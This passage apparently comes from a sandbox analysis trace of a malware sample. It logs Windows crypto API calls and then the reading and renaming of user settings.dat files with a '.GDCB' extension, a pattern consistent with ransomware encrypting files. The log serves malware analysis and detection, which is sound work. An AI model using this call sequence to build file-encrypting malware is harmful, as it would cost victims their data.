dwFlags=0x0) returned 1 [0214.216] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0214.218] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648aec0) returned 1 [0214.218] CryptGetKeyParam (in: hKey=0x648aec0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.218] CryptEncrypt (in: hKey=0x648aec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x70a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0214.219] GetLastError () returned 0x0 [0214.219] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0214.219] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0214.220] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648af00) returned 1 [0214.220] CryptGetKeyParam (in: hKey=0x648af00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.220] CryptEncrypt (in: hKey=0x648af00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x70b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0214.221] GetLastError () returned 0x0 [0214.221] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.221] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0214.222] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x70c0000 [0214.224] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x70d0000 [0214.225] ReadFile (in: hFile=0x510, lpBuffer=0x70d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x70d0000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0214.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x71e0000 [0214.237] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 0 [0214.254] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0214.256] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.257] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.257] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0214.257] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.257] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0214.259] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.260] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.260] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0214.260] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.260] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0214.262] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648af40) returned 1 [0214.262] CryptGetKeyParam (in: hKey=0x648af40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.262] CryptEncrypt (in: hKey=0x648af40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x70a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0214.262] GetLastError () returned 0x0 [0214.262] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.262] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0214.264] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648abc0) returned 1 [0214.264] CryptGetKeyParam (in: hKey=0x648abc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.264] CryptEncrypt (in: hKey=0x648abc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x70b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0214.264] GetLastError () returned 0x0 [0214.264] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0214.264] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.devicesflow_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0214.266] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x70c0000 [0214.268] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x70d0000 [0214.269] ReadFile (in: hFile=0x510, lpBuffer=0x70d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x70d0000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0214.277] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x71e0000 [0214.281] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.devicesflow_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.devicesflow_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0214.378] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0214.380] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.381] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.381] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0214.381] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0214.381] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0214.382] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.383] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.383] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0214.383] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.383] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0214.386] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648ac00) returned 1 [0214.386] CryptGetKeyParam (in: hKey=0x648ac00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.386] CryptEncrypt (in: hKey=0x648ac00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x70a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0214.386] GetLastError () returned 0x0 [0214.386] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.386] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0214.388] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648b4c0) returned 1 [0214.388] CryptGetKeyParam (in: hKey=0x648b4c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.388] CryptEncrypt (in: hKey=0x648b4c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x70b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0214.388] GetLastError () returned 0x0 [0214.388] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.388] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0214.506] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0214.508] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.509] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.510] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0214.510] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.510] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0214.511] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.512] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.512] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0214.512] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.513] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0214.515] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648b180) returned 1 [0214.515] CryptGetKeyParam (in: hKey=0x648b180, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.515] CryptEncrypt (in: hKey=0x648b180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70c0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x70c0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0214.515] GetLastError () returned 0x0 [0214.515] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0214.515] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0214.517] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648b6c0) returned 1 [0214.517] CryptGetKeyParam (in: hKey=0x648b6c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.517] CryptEncrypt (in: hKey=0x648b6c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70d0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x70d0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0214.517] GetLastError () returned 0x0 [0214.517] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.517] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.miracastview_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0214.519] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x70e0000 [0214.521] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x70f0000 [0214.522] ReadFile (in: hFile=0x510, lpBuffer=0x70f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x70f0000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0214.531] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7200000 [0214.535] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.miracastview_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.miracastview_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0214.564] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0214.566] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.567] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.567] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0214.567] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.567] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0214.569] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.570] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.570] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0214.570] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.570] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0214.572] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648b2c0) returned 1 [0214.572] CryptGetKeyParam (in: hKey=0x648b2c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.572] CryptEncrypt (in: hKey=0x648b2c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70c0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x70c0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0214.573] GetLastError () returned 0x0 [0214.573] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.573] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0214.575] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648b400) returned 1 [0214.575] CryptGetKeyParam (in: hKey=0x648b400, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.575] CryptEncrypt (in: hKey=0x648b400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70d0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x70d0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0214.575] GetLastError () returned 0x0 [0214.575] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0214.575] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.printdialog_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0214.577] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x70e0000 [0214.578] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x70f0000 [0214.579] ReadFile (in: hFile=0x510, lpBuffer=0x70f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x70f0000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0214.657] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7200000 [0214.662] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.printdialog_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.printdialog_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0214.738] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0214.740] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.742] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.742] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0214.742] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0214.742] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0214.743] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.744] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.744] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0214.744] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.745] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0214.747] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648b680) returned 1 [0214.747] CryptGetKeyParam (in: hKey=0x648b680, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.747] CryptEncrypt (in: hKey=0x648b680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70c0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x70c0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0214.747] GetLastError () returned 0x0 [0214.747] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0214.747] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0214.749] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648b140) returned 1 [0214.749] CryptGetKeyParam (in: hKey=0x648b140, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0214.749] CryptEncrypt (in: hKey=0x648b140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70d0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x70d0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0214.749] GetLastError () returned 0x0 [0214.749] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.749] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PurchaseDialog_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application 